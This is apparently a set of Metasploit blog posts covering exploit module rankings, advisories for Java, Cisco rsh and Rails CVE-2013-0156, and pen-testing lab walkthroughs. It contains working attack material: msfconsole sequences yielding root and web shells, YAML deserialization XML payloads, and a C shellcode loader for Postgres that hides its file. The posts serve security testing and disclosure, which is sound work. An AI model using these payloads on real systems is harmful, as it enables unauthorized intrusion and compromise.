The Max Power Way


We've been working up some experimental one-liners for installing a Metasploit Framework development environment using similar techniques as the Homebrew and RVM projects. If you’d like to give these a shot, you’re more than welcome. Again, these don’t get your binaries squared away, but we expect to have that functionality together for the development folks, soon.


  • Windows instructions are at Not quite a one-liner, but thanks to the new msysGit build environment, there’s a pretty reasonable path for Metasploit Devs who find themselves on Windows.
  • Ubuntu Linux instructions are at It's a three (and a half) step process. It seems to work delightfully well.
  • BackTrack 5, Revision 3 (BT5R3): Just running apt-get update metasploit && apt-get install metasploit will upgrade you to the latest Metasploit binaries and will switch your Metasploit Framework install over to the Git-sourced version. In this sense, it’s very similar to the 4.4 experience of two separate Metasploit Framework installations. For the nitty-gritty of what’s happening, or if you’d like to update your BackTrack installation yourself, it’s all documented at
  • OSX instructions are sketched out at This is the least tested method of the bunch, but it’s what I’ve used to get things going on my MacBook.


While these developer-centric installers are not supported by Rapid7’s support teams, you can often find help by simply posting up whatever trouble you run into on Security Street. Those folks are super helpful.




If you want the ease of use of having all the secondary binaries installed and configured for you, download the latest installer and take a minute to register your free (as in speech and beer) installation. If you prefer to track the minute-by-minute changes on Framework, then you’re invited to dive in the deep end of the developer setups.


If you’re already tracking development, then you are already aware that the SVN bridge is going away very soon, so you should be getting used to git for your updates -- and while you’re at it, why not write some code? Metasploit is all about empowering security researchers to solve the problems unique to this operational and research space, so by getting up to speed with Git, you’re well on your way to becoming the latest valued open source contributor.

In today's Whiteboard Wednesday, David Maloney explains anti-virus evasion techniques for Metasploit.davidss.PNG

In order to make the most of Metasploit pen testing techniques in delivering payloads, you need to be able to deliver those payloads without anti-virus flagging them. David walks us through a few examples on how to bypass anti-virus detection so you can easily pen test your systems.

Watch the video here!

Interested in some more information? Make sure to read David's blog post on the topic, and be sure to register for next week's webcast where David will present a deep dive on how to best evade AV with Metasploit.

Make sure to check in next week for our next episode of Whiteboard Wednesday.

On January 9th Cisco released advisory cisco-sa-20130109 to address a vulnerability in the "rsh" service running on their Cisco Prime LAN Management Solution virtual appliance. The bug is as bad as it gets - anyone who can access the rsh service can execute commands as the root user account without authentication. The example below demonstrates how to exploit this flaw using Metasploit ( free download ).


First off, the rsh service requires client connections to use a privileged source port. This means using the Metasploit Pro, Express, or Community web interface, or running the Metasploit console as root.


Metasploit Pro users should click on Modules and search for rsh_login. The rsh Authentication Scanner module should be selected. For Metasploit console uses, enter the following command to select the rsh module:


$ sudo /opt/metasploit*/msfconsole

msf> use auxiliary/scanner/rservices/rsh_login


Once the module is loaded, enter the IP or IP range that you would like to test, set the USERNAME option to 'root', and let it rip.


In this case, our target has the IP


msf  auxiliary(rsh_login) > set RHOSTS

msf  auxiliary(rsh_login) > set USERNAME root

msf  auxiliary(rsh_login) > exploit


[*] - Starting rsh sweep

[*] RSH - Attempting rsh with username 'root' from 'root'

[+], rsh 'root' from 'root' with no password.

[*] Command shell session 1 opened ( -> at 2013-01-16 12:23:31 -0800

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


msf  auxiliary(rsh_login) > sessions -i 1

[*] Starting interaction with 1...

sh: no job control in this shell

sh-3.2# id

uid=0(root) gid=0(root) groups=0(root)

..and that is it. You are hacking like it's 1985 (when rservices were still common in production environments).



Exploit Database (DB)Each month we compile a list of the most searched exploit and auxiliary modules from our exploit database. To protect user's privacy, the statistics come from analyzing webserver logs of searches, not from monitoring Metasploit usage.


December brings us the addition of a brand new Internet Explorer exploit module making its debut at #6 and the Apache Killer DoS jumping five spots to #5. Read on for the rest of December's exploit and auxiliary modules with commentary by Metasploit's own Tod Beardsley.


1. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Up one place from #2 last month.

2. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you've ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft’s Security TechCenter. Down one place from #1 last month.

3.  Java 7 Applet Remote Code Execution: Over a fateful weekend in August, Metasploit exploit devs Wei "sinn3r" Chen, Juan Vazquez, and contributor Josh "jduck" Drake got together on IRC and put together a Metasploit module to take advantage of the vulnerability reported privately to Oracle by Adam Gowdiak and James Forshow. Here's the twist: Nobody at the time knew about Adam's or James's private disclosure to Oracle -- this bug was instead spotted in the wild way before Oracle was planning to release their fix. So, we started the week with a new Java 0-day, and by the end of the week, after much speculation, Oracle did the right thing and accelerated their patch schedule. Interesting times, to say the least. Same place as last month.

4.  Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Same place as last month.

5. Apache Range header DoS (Apache Killer): This old module might be appearing on this month's list because the vulnerability was discovered by KingCope who just dropped a ton of 0day (see the recent blog post, What Would Trinity Do With KingCope's SSH 0day? for an example). Perhaps someone (or a bunch of someones) is researching KingCope's past contributions? Other than that, I can't see why there would be sudden interest in a year-old Apache Dos. Up five places from #10 last month.

6. Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability: The vulnerability exploited by ie_cbutton_uaf has the dubious distinction of being the last 0-day of 2012, and is discussed extensively on the Metasploit blog, Microsoft Internet Explorer 0-Day Marks the End of 2012. It’s also a rare 0-day in MSIE – not Flash, not Java, not any of the other attendant technologies, but the browser itself. It’s IE8 only, but as Metasploit exploit developer sinn3r points out, that’s still 33% or so of all internet browser traffic today. This module also demonstrates the tirelessness of the Metasploit exploit dev community; in most of the world, December 29th was a weekend smack in the middle of the phone-it-in-I’m-not-doin’-nothin' holiday season between Christmas and New Year’s. Sadly, the bad guys never rest, so when we become aware of new techniques in the wild, we try to be quick in giving the sysadmins and pen-testers of the world the tools they need to protect their networks’ constituency. New since last month.


7. MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability: This bug started off with Eric Romang's blog post and ended up with a module being cooked up over a weekend by Eric, @binjo, and the Metasploit exploit dev team. This event, like the Java 0-day, had the net effect of speeding up the vendor's patch schedule. If there was no public, open exploit, would there have been a patch so rapidly? Was it connected with Java 0-day? Who's the primary source for these critical client-side bugs, anyway? These and other questions are still being speculated on and debated in the security industry and security press. Down two places from #5 since last month.

8. Apache mod_isapi <= 2.2.14 Dangling Pointer: Although this is an exploit in Apache, don’t be fooled! It’s only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module’s release), and it’s only a DoS. Again, kind of a mystery as to why it’s so popular. Down one place from #7 last month.

9. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. I’d bet it’s the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Same places as last month.

10. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop: Not sure why this module is still popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. Down two places from #8 since last month.

If you want to use any of these exploits right now, you can download Metasploit for free.

Hello concerned citizens,


I suppose by now you've already noticed there has been a Java vulnerability -- CVE-2013-0422 -- exploited in the wild at least since mid-December.  This attack was first exposed by Kafeine in his blog post [here], and then quickly made its way to Metasploit for everybody to test the seriousness of the problem.  The exploit should work against all platforms -- Linux, OSX, Windows, with whatever browser you're using. Basically, if you're running Java 7 Update 10 or prior, you are unfortunately affected by this:


Screen shot 2013-01-10 at 1.27.47 PM.png


CVE-2013-0422 does not actually affect Java 6 or older, but if that's the case, you're probably vulnerable to something else.


As of now, there's no patch from Oracle.  Our recommendation is to completely disable Java until this bug is properly fixed.  If for some reason you cannot do that, then here are some mitigations you can try:


  • Update your Anti-virus definition, which should be able to block all known public exploits and variants.
  • In Java Control panel, under the "Security" tab, set the Security Level to "Very High".  Thanks to bannedit for the suggestion.
  • Pray that people think you're very very nice, so nobody wants to hack you.


If you'd like to try out this Metasploit module to better validate your computer's defenses, please feel free to download Metasploit from here.  If you habitually use Metasploit Framework, you can just run msfupdate now to obtain it.  If you're a Metasploit Pro user, you should have this exploit already.


Jan 13, 2013 - Oracle releases Security Alert for CVE-2013-0422.



Earlier this week, a critical security flaw in Ruby on Rails (RoR) was identified that could expose an application to remote code execution, SQL injection, and denial of service attacks. Ruby on Rails is a popular web application framework that is used by both web sites and web-enabled products and this flaw is by far the worst security problem to surface in this framework to date. If you are interested in the details of the bug, Postmodern (developer of Ronin) wrote a great blog post covering each of the issues in depth.


In this post I will walk through the process of identifying and exploiting vulnerable Ruby on Rails instances.


First off, make sure you have a copy of Metasploit and that you have applied the latest update through the web interface. The Metasploit web interface is also a Ruby on Rails application and applying the latest update will ensure that your systems are not vulnerable to attack. Applying the latest update will also ensure you have access to the latest exploits and supporting modules. If you are using a Git checkout of the Metasploit Framework, pull the latest commits from master and you should be good to go. For version 4.5.0, you want to be running update Metasploit Update 2013010901


Service Discovery


Next we need to identify any web servers within the target environment. Metasploit Pro, Metasploit Express, and Metasploit Community users can use the Scan component within the web interface to automatically discover hosts and services across the network. Console users should leverage db_nmap and the auxiliary/scanner/http/http_version module to locate and fingerprint any exposed web servers. The example below shows how you can configure the Scan component to identify common web server ports. This scan focuses only on ports 80, 343, 3000, 3001, 4567, 8080, 8443, and 3790 in order to reduce the scan time and identify common RoR application ports.






If you are having trouble identifying potential RoR applications, there are a few things to keep in mind:

  • Rails often runs on top of the Apache, NginX, Thin, and WEBrick servers
  • Rails may be only be accessible at a certain path, such as /forum or /redmine
  • Rails may be listening on a non-standard port, such as 3000, 4567, or 8888


Rails can be identified through additional headers on the HTTP response as well, for example:

  • X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8
  • X-Rack-Cache: miss
  • Set-Cookie: _appname_session=(base64)%3D%3D--(hexadecimal)






Vulnerability Detection


Now that you have a list of servers and ports, it is time to use the RoR vulnerability scanning module within Metasploit. Users of the web interface should access the Modules tab and search for rails_xml_yaml_scanner. Once the module has been selected, enter the IP range you wish to test. If you have web servers across multiple ports (say, 80 and 443 with SSL), you will need to repeat this process once for each port. If these servers are using SSL, make sure that option has been selected. In some cases, you may need to specify the VHOST and URIPATH to tell the module exactly what web site and URL to test.


Metasploit console users can accomplish the same thing by running the following commands:


msf> use auxiliary/scanner/http/rails_xml_yaml_scanner

msf  auxiliary(rails_xml_yaml_scanner) > set RHOSTS

msf  auxiliary(rails_xml_yaml_scanner) > set RPORT 80

msf  auxiliary(rails_xml_yaml_scanner) > set THREADS 128

msf  auxiliary(rails_xml_yaml_scanner) > run


The output of the scan should be a list of vulnerable servers, or no output at all if none were found. If you would like to see more information about the scan, set the VERBOSE option to true.


[*] Scanned 036 of 256 hosts (014% complete)

[*] Scanned 133 of 256 hosts (051% complete)

[+] is likely vulnerable due to a 500 reply for invalid YAML

[*] Scanned 148 of 256 hosts (057% complete)

[*] Scanned 154 of 256 hosts (060% complete)

[*] Scanned 155 of 256 hosts (060% complete)

[*] Scanned 221 of 256 hosts (086% complete)

[*] Scanned 224 of 256 hosts (087% complete)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed




In the output above, we can see that appears to be vulnerable. If a database was connected to the Metasploit console or the web interface was used, there will also be a reported vulnerability for this host. The Metasploit web interface will show something like the following under the Vulnerabilities tab of Analysis.




To validate this vulnerability, we will now use the exploit module and try to gain access to the web server.  To do so, click the name of the vulnerability in the web interface and select the Launch option for the Rails exploit shown. Verify that the RPORT and SSL settings are correct and launch. Metasploit Console users can select and launch the exploit with the following commands:


msf> use exploit/multi/http/rails_xml_yaml_code_exec

msf  exploit(rails_xml_yaml_code_exec) > set RHOST

msf  exploit(rails_xml_yaml_code_exec) > set RPORT 80

msf  exploit(rails_xml_yaml_code_exec) > exploit


[*] Reloading module...

[*] Started reverse handler on

[*] Sending Railsv3 request to

[*] Sending Railsv2 request to

[*] Command shell session 1 opened ( -> at 2013-01-10 03:07:54 -0600



uid=1001(www) gid=1001(www) groups=1001(www)






If the server was reported as vulnerable, but you did not get a session, you may need to change your payload settings. By default, Metasploit will try to use a reverse-connect payload, but this can fail if your system is behind a firewall or if the target system is unable to connect back.  If you are conducting an assessment of an external network, it makes sense to run Metasploit a remote, externally-facing system as well. If you are using a virtual machine, make sure the virtual interface is set to Bridged and not NAT mode. You can also override the payload settings to prefer a bind payload, but if the target has a firewall, the LPORT option must be set to an unfiltered port.


Given the widespread use of Ruby on Rails and the mix of web sites and web-based product front-ends using it, this vulnerability may be a common finding for years to come.



Rails Injection Bug


The big news this week turned out to be the new Rails injection bug, aka, CVE-2013-0156, which you can read about in detail over on HD Moore's blog post. Soon after the vulnerability was disclosed, @hdmoore had a functional auxiliary scanner module put together, so as of this moment, you're encouraged to scan the heck out of your environment, repeatedly, for vulnerable Rails apps. Every Rails application developed and deployed is vulnerable to this (absent a fix or workaround) -- and that includes the ones in your development environment, so don't forget to audit port 3000 as well. All those WEBrick servers in dev-land just became tasty internal vectors for exploitation.


Given that Metasploit itself is written in Ruby, we have a fair bit of Ruby and Rails know-how in both Rapid7 and the general Metasploit security community. I don't expect to be waiting long for a proper exploit (beyond the local version promulgated by HD).


Update: As casually predicted above, we now have a working remote Metasploit module available for all versions of Metasploit, and you can check the code here. Special thanks to everyone who came together on this. HD and @_sinn3r worked with charliesome and community contributors espes and lian to get this out the door in record time. Hooray open source exploit dev!


ZDI-12-101 Exploit


In other news, Metasploit exploit developer @_juan_vazquez_ delivered a brand-new exploit for a ZDI bug -- in this case, he exploits a vulnerability in IBM's Cognos Analytic Server Admin. Juan has a prediliction for digging into interesting-looking ZDI vulns. It's a little bit masochistic, since ZDI advisories tend not to have a whole bunch of information, but they are often server-side targets, so it's often worth our while to reverse out an exploit from what little is reported.


Whiteboard Wednesday


I'm told that my Whiteboard Wednesday video is up -- while it's not specifically part of the Metasploit Update, I do spend a couple minutes yammering about my unreasonable affection for this project. The thing was pretty much one long unscripted take once the doodling on the whiteboard is up, so please excuse the rambling; I just get all choked up when I talk about the philosophy (and philanthropy) of open source security development.


New Modules


Here are the details on our latest modules, including community contributor Charlie Eriksen's new WordPress Plugin exploits.


Exploit modules


Auxiliary modules




If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

This afternoon a particularly scary advisory was posted to the Ruby on Rails (RoR) security discussion list. The summary is that the XML processor in RoR can be tricked into decoding the request as a YAML document or as a Ruby Symbol, both of which can expose the application to remote code execution or SQL injection. A gentleman by the name of Felix Wilhelm went into detail on how the vulnerability works, but stopped short of providing a working proof of concept. These kinds of bugs are close to my heart, as Metasploit itself is written in Ruby, and we use Ruby on Rails within the Metasploit Community, Express, and Pro user interfaces.


We marshaled the troops and released a security update for Metasploit users (2013010202), updated all of our own RoR applications with the workaround, and started digging into the vulnerability itself.


Ben M. Murphy, a researcher working on this issue, claims that this can lead to direct system command execution in all Ruby on Rails web applications. If this pans out, this would put thousands of production web sites at risk of remote compromise.  Mr Murphy has not released his exploit code for the issue, but Felix's blog post provided enough information to start poking at the vulnerability.


To demonstrate the issue, send the following data as the body of a POST request to any RoR web application, with the Content-Type header set to "application/xml":


<?xml version="1.0" encoding="UTF-8"?>

<bang type="yaml">--- !ruby/object:Time {}



On the server side, this decodes to a live Time object:


Parameters: {"bang"=>1969-12-31 18:00:00 -0600}


The mechanics of this bug allow for at least three different paths for exploitation:


1. Trigger a SQL injection flaw by sending a Symbol in place of a parameter used in a Model.find_by*() call. This technique was discovered by joernchen and documented here. This can be accomplished using both the YAML and Symbol types in the XML, but the Symbol format is easiest. The original description was wrong, but SQL injection is still possible using Arel objects. Take a look at Postmodern's blog post for more information on the SQL injection vector.


2. Allocate an arbitrary Ruby object and be able to set any instance variables. This object is sent instead of the expected parameter to the application. This can lead to all sorts of chaos, but doesn't provide remote code execution all by itself, since an object is required that does unsafe things with init_with() or the application has to do something dangerous with the unexpected object parameter.



<?xml version="1.0" encoding="UTF-8"?>

<boom type="yaml"><![CDATA[--- !ruby/object:UnsafeObject

attribute1: value1



This results in a sequence that looks something like the following:



obj = UnsafeObject.allocate

if obj.respond_to?(:init_with)

  obj.init_with(.. attributes ..)


  arguments.each_pair { |key,val| obj.instance_variable_set(key, val) }



3. Instantiate an arbitrary Ruby object and be able to call the "[]=" method with any desired parameters. This can be abused in a slightly different way and opens additional avenues for attack.


<?xml version="1.0" encoding="UTF-8"?>

<boom type="yaml"><![CDATA[--- !ruby/hash:UnsafeObject

attribute1: value1




This results in a different code path being taken:


obj =

arguments.each_pair { |key,val| obj[key] = val }



In the case of #1, the application must pass the Symbol parameter into a SQL query, which limits the attack surface to database-enabled applications. The interesting thing about methods #2 and #3 is that they will work regardless of whether the application does anything wtih SQL. The caveat is that the application needs to either do something unsafe with the unexpected object, or a class already in memory has to be abused through the init_with() or []= method handlers.


A quick review of common Ruby on Rails classes didn't turn up any obvious paths to exploit #2 or #3, but given Mr. Murphy's claims and the sheer number of code paths available, this is more than likely the worst security issue that the Rails platform has seen to date.


Stay tuned for more information on this flaw and more than likely a Metasploit module or two in the coming days.



Update 1: We are still looking into how this can be turned into a remote exploit, but for any application that has done a require "drb" somewhere in the dependency list, the following local exploit scenario works.

First instantiate a DRb Server object in the Rails application using a request like the one below:


<?xml version="1.0" encoding="UTF-8"?>

<boom type="yaml"><![CDATA[--- !ruby/hash:DRb::DRbServer {}


Now open msfconsole and use the drb_remote_codeexec module to get a session as the web user. This is limited to the local system, since DRb picks a random port bound to localhost when instantiated with no arguments.


$ msfconsole

msf> use exploit/linux/misc/drb_remote_codeexec

msf  exploit(drb_remote_codeexec) > set URI druby://localhost:45074

msf  exploit(drb_remote_codeexec) > exploit

[*] Started reverse double handler

[*] trying to exploit instance_eval

< snip >

[*] Matching...

[*] B is input...

[*] Command shell session 1 opened ( -> at 2013-01-09 13:06:39 -0600



uid=1001(www) gid=1001(www) groups=1001(www)


Update 2: An anonymous contributor pointed us to a specific class that is exploitable using the ruby/hash method (#3 above). The class is
ActionDispatch::Routing::RouteSet::NamedRouteCollection. Expect a Metasploit module in the next 4-12 hours.

Update 3: The Metasploit module is now available on GitHub and handles Ruby on Rails versions 2 and 3.

Update 4: A walkthrough of using the scanner and exploit modules is now available

Update 5: CVE-2013-0333. Second verse, same as the first, except this time. Metapsloit itself is not vulnerable.

The update from 2012-12-14 contains a new module that brings code execution on an authenticated Postgres database to Linux. Metasploit has had this capability on Windows for quite some time but it took community contributor midnitesnake to scratch this particular itch. There are two reasons I'd like to talk about this module. First, it's not an exploit in the traditional sense because the vulnerability it takes advantage of is not really a vulnerability. Postgres allows authenticated users to write files. It also allows authenticated users to create so-called "User Defined Functions," which can be native functions in a shared object file. This combination allows authenticated code execution by design -- my favorite kind of vulnerability. The second reason I think this module is important is that it uses a relatively new method for compiling a payload on the fly, similar to the Linux sock_sendpage kernel exploit.


First, the vulnerability. Postgres can store arbitrarily large binary data in what the documentation calls a "largeobject". This seems to be meant primarily for images for webservers, but the particulars of why they exist for high-performance webservers and databases are irrelevant when you just want a shell. So let us suffice it to say that you can put a .so file in the database and write it to disk. The next step is instructing Postgres to load up a UDF from the supplied .so, which causes it to call dlopen(3) on that file, do some sanity checks, and eventually register some exported functions as callable from SQL. Traditionally, this has been done with legitimate Postgres extensions that can, for example, run system commands. However, there's a simpler way to go from .so to code execution. Let's see how the payload does its work.


The entire C payload follows:

      int _exit(int);
      int printf(const char*, ...);
      int perror(const char*);
      void *mmap(int, int, int, int, int, int);
      void *memcpy(void *, const void *, int);
      int mprotect(void *, int, int);
      int fork();
      int unlink(const char *pathname);

      #define MAP_PRIVATE 2
      #define MAP_ANONYMOUS 32
      #define PROT_READ 1
      #define PROT_WRITE 2
      #define PROT_EXEC 4

      #define PAGESIZE 0x1000

      char shellcode[] = "#{shellcode}";

      void run_payload(void) __attribute__((constructor));

      void run_payload(void)
        int (*fp)();

        memcpy(fp, shellcode, sizeof(shellcode));
        if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
        if (!fork()) {



Notice that the first thing this code does is define all the libc function prototypes we'll be using. Doing it this way instead of just #include-ing stdio.h and friends allows Metasm, the awesome pure ruby compiler/assembler, to compile code that uses libc functions without actually having to parse all the header files; Metasm will still figure out that you need to link and put that information in the ELF headers. The main advantage of this is drastically reduced compile time, with a secondary perk being that you don't have to have Linux headers if you're compiling on Windows and vice versa.


Since we're compiling this on the fly, we have a little extra knowledge that wouldn't usually be available at compile time -- the filename where our payload will be stored. That means we can immediately delete the file as soon as the shellcode process has been kicked off, making it a little harder to notice when the compromise happens and a little more difficult to track down after the fact.


Note that the shellcode is in a global variable which will end up in a non-executable section of the ELF. The same issue would arise if we made it a local variable. It would go in the stack which is also non-executable. Thus, we will have to mmap some memory and mark it read-write-execute (RWX). To understand the reason for requiring RWX memory we need some familiarity with how Metasploit encoders work.


A brief aside on encoders


As TheLightCosine mentioned in his post about Anti-Virus evasion, encoders are not meant to defeat AV. Their primary purpose is avoiding bad characters. One way encoders accomplish this is by xor'ing the payload with bytes that make all the bad characters into something acceptable. To decode the resulting bytes, we need a decoder stub, and that decoder stub needs to know the address of the payload it's decoding. To get the address, the decoder stub will use some technique for returning the value of the instruction pointer and figure out the offset from there. Once it's got the address, it steps over each byte of the payload, xor'ing it back to its original value before falling through to the now-decoded payload.


So the memory in which the payload resides must be writable for the decoder to modify it back to its original form, and it must be executable to run that code once it gets decoded back to normal. Thus, we need RWX memory.


Back to your regularly scheduled Postgres


The tricky bit here is the use of a constructor, denoted by __attribute__((constructor)). This tells the compiler to place a pointer to the given function in the .init_array section of the compiled ELF file. Whenever dlopen(3) opens a file, one of the things it does is look in that section for a list of functions to call before it returns. Note that constructors are run from inside libc by dlopen before it returns so Postgres (or indeed anything dlopen(3)ing a shared lib) has no idea what those constructor functions do or even that they exist. Because of this feature, we don't have to jump through all the hoops Postgres sets up for creating a UDF. All we have to do is tell Postgres to create a UDF using this .so file and it will happily load it up with dlopen, running our shellcode in the process.


The equivalent Windows code for this exploit used to use a UDF for executing system commands. As a result of playing with the port to Linux, it became obvious that Windows can take a similar approach. Fortunately some of the work was already done and Windows can use the existing dll template in data/templates to accomplish the same feats as compiling a dynamic shared object for Linux. The default template will spawn a new process, inject the payload into that, and run it. Again, since everything happens from DllMain, it doesn't matter that the DLL doesn't follow the proper Postgres APIs.




Authenticated code execution by design is the best kind of vulnerability. From the vendor's point of view, it isn't a bug, so it will never be patched. From the IDS's perspective, it looks exactly like a normal connection, from a normal user who is allowed to talk to the server. Being able to compile a non-standard custom payload gives module writers incredible flexibility for exploiting situations like this.

No matter whether you're taking your first steps with Metasploit or if you're already a pro, you need to practice, practice, practice your skillz. Setting up a penetration testing lab can be time-consuming and expensive (unless you have the hardware already), so I was very excited to learn about a new, free service called Hack A Server, which offers vulnerable machines for you to pwn in the cloud. The service only required that I download and launch a VPN configuration to connect to the vulnerable machines. Since I already had my Metasploit instance set up on BackTrack, it only took minutes to get started. Once you're up and running, you can choose from a large number of vulnerable machines, including Metasploitable. (Note: If you'd prefer to set up your own Metasploitable instance, you can download Metasploitable here.)


This How-to will use BackTrack5 R3, which is available from, but you should also be able to use any other Linux distribution. I did not see any way on the Hack-A-Server website to get their VPN client working on Windows, so I'd recommend you stick to Linux. I already pre-registered my version of Metasploit on BackTrack for the quick penetration test in the latter part of this post. If you need help, check out this blog post on activating Metasploit on BackTrack5 R3.


If you'd like to use the service, go to Hack A Server and sign up for a free account. Once you're signed up, choose Training Area in the toolbar:



As you can see, they have a ton of vulnerable machines available on the service. For the purpose of this test, we're going to choose Metasploitable. Click on the Hack it! button.



Download the connection certificate to root, then run the following commands:



openvpn client.conf


Note: The zip file will have a different name (pradameinhoff is my username on Type ls to view how it looks in your directory.


If your VPN client has started correctly, you should now see something like this on the screen:




Open a second terminal window and ping the Metasploitable server on (this was listed on the HTML page earlier).




You should be seeing something like this on your screen:




This proves that you have a network connection to the Metasploitable machine. Congratulations!


Now let's exploit the machine with Metasploit Pro:

  • Open your Firefox browser to https://localhost:3790
  • Go into the default project and click on the Scan button. Enter and click Launch Scan
  • Once the scan has completed, go to the Analysis menu and choose the Hosts option. You should now see the host in the list:
  • Select the checkbox next to the Metasploitable machine and click the Exploit button in the toolbar.
  • On the next screen, click Exploit on the bottom right:
  • Metasploit Pro will now match up the right exploits with the operating system and services fingerprinted on the Metasploitable machine and then launch the smart exploitation process. For Metasploitable, it will likely be successful with exploit/unix/misc/distcc_exec. (If you are using Metasploit Community, you can manually choose this exploit since this edition doesn't support the smart exploitation process).
  • Once the smart exploitation process has completed, click on the Sessions button in the toolbar. You should see one open session:

  • Click on Collect, check the box next to Session 1, and click the Collect System Data button on the bottom right.
  • Metasploit Pro will now collect passwords, screenshots, and other evidence from the machine. Going back to the Hosts screen in the Analysis menu, you'll see that the machine is marked as looted:


Congratulations again - you've compromised your first machine. Now you can also check out some other vulnerable machines on the same network, which you can also reach through the same VPN connection provided by the Hack-a-Server website.


I'd be interested to hear how you find the service and whether it worked as seamlessly for you as it did for me. Please log in and leave your comment below!

Today marks the first Metasploit update of the new year, and it's been a little while since the last, so there's a bumper crop of new modules; eighteen to be precise.


Internet Explorer 0-day and Browser Autopwn


While we didn't ship an update over the holidays, that didn't stop @_sinn3r, @_juan_vazquez_, @eromang, @yomuds, and @binjo from tearing into the latest public 0-day for Microsoft Internet Explorer 8. For the details on exploit development, take a look at sinn3r's fantastico write up. As with all complex and interesting exploits, there's always some touch up after the initial release, and ie_cbutton_uaf is no exception. It's now a component of Metasploit's Browser Autopwn meta-module.


If you aren't familiar, Browser Autopwn is a throw-everything-at-it approach to client exploitation, and it's been a part of Metasploit for several years now. Here's a video of one of the earlier incarnations by the guys over at pauldotcom, and the usual use hasn't changed a whole lot since then (however, many more exploits are now included). As you can see, all you need to do is fire it up, let all the exploits set themselves up, then await your target. If he's running IE8, you can be sure that ie_cbutton_uaf will pop a shell for you, since as of this writing, there's still no hotfix available.


ICMP Exfiltration


Every once in a while, you might find your self in an argument with a network engineer about the security implications of ping. Yes, good old, reliable, required by RFC792 ICMP Type 8 ping. What harm could there be in allowing computers to ping arbitrary hosts on the Internet?


Well, this update includes community contributor @ChrisJohnRiley's delightful ICMP Exfiltration Service module. What this does is set up a listener to catch data tunneled out of a target site over good old, reliable, required by RFC792 ICMP Type 8 ping. The data being exfiltrated out is then saved off as loot, for use in your report demonstrating the security implications of allowing ping from the desktop.


If you're dealing with a client that doesn't care about exfiltration, then first, you should get them to read Iftach Ian Amit's paper from January of 2012, and then remind them that if they spent any time at all on splitting their DNS infrastructure, implementing egress firewall rules, or implementing a BYOD policy, then they are implicitly buying into to exfiltration awareness anyway.


Windows Post Modules


Also this week, we see three new post modules from community contributor @zeknox. I'm a fan of post modules; they're usually pretty easy to write and test, and often end up automating off an otherwise troublesome pen-testing chore. Of the bunch, my favorite is the Windows NetLM Downgrade Attack; this is a sneaky way to snag cleartext passwords from a user by forcing a machine to use the weak LM hashing algorithm when authenticating to SMB servers. This comes in handy, of course, when you control the SMB server in question. For more on this technique, see Brandon's write-up over on, or the original scenario described by Dave Howard.


Report Speedups


For those of you on Metasploit Pro and Express, you should also see significant improvements in your report generation. All Standard Reports there have been updated to use disk virtualization. Instead of holding the report generation objects in memory, they are now written to disk as needed. The main goal of this change was to allow the generation of reports against datasets of any arbitrary size. Very large numbers of hosts or other objects that previously caused report generation to crash are now handled with the greatest of ease. Additional gravy: report generation now uses about 25% less memory and takes 13% less time on average!


New Modules


Last update had just the one new module. We make up for that this week, with eighteen. Here they are.


Exploit modules


Auxiliary and Post modules




If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

Update: Kali Linux now superseded BackTrack as a platform. We strongly recommend using Kali Linux over BackTrack if you are going to run Metasploit. More info here.


As of version 5 R3, BackTrack comes pre-installed with Metasploit 4.4, so it's now easier to use Metasploit Community Edition or Metasploit Pro on BackTrack. Here is how it's done:


  • After BackTrack boots, enter startx to get into the UI.
  • Install BackTrack in a virtual machine using the Install BackTrack icon in the top left corner. This is recommended so that Metasploit remembers its product key; otherwise, you would have to register Metasploit each time.
  • Log in with user root, password toor. Enter startx.
  • In the main menu, open BackTrack / Exploitation Tools / Network Exploitation Tools / Metasploit Framework and select start msfpro, which starts the service for the commercial Metasploit UI.
  • The Metasploit service is started when you see the following screen:
  • Open the Firefox browser from the Internet menu.
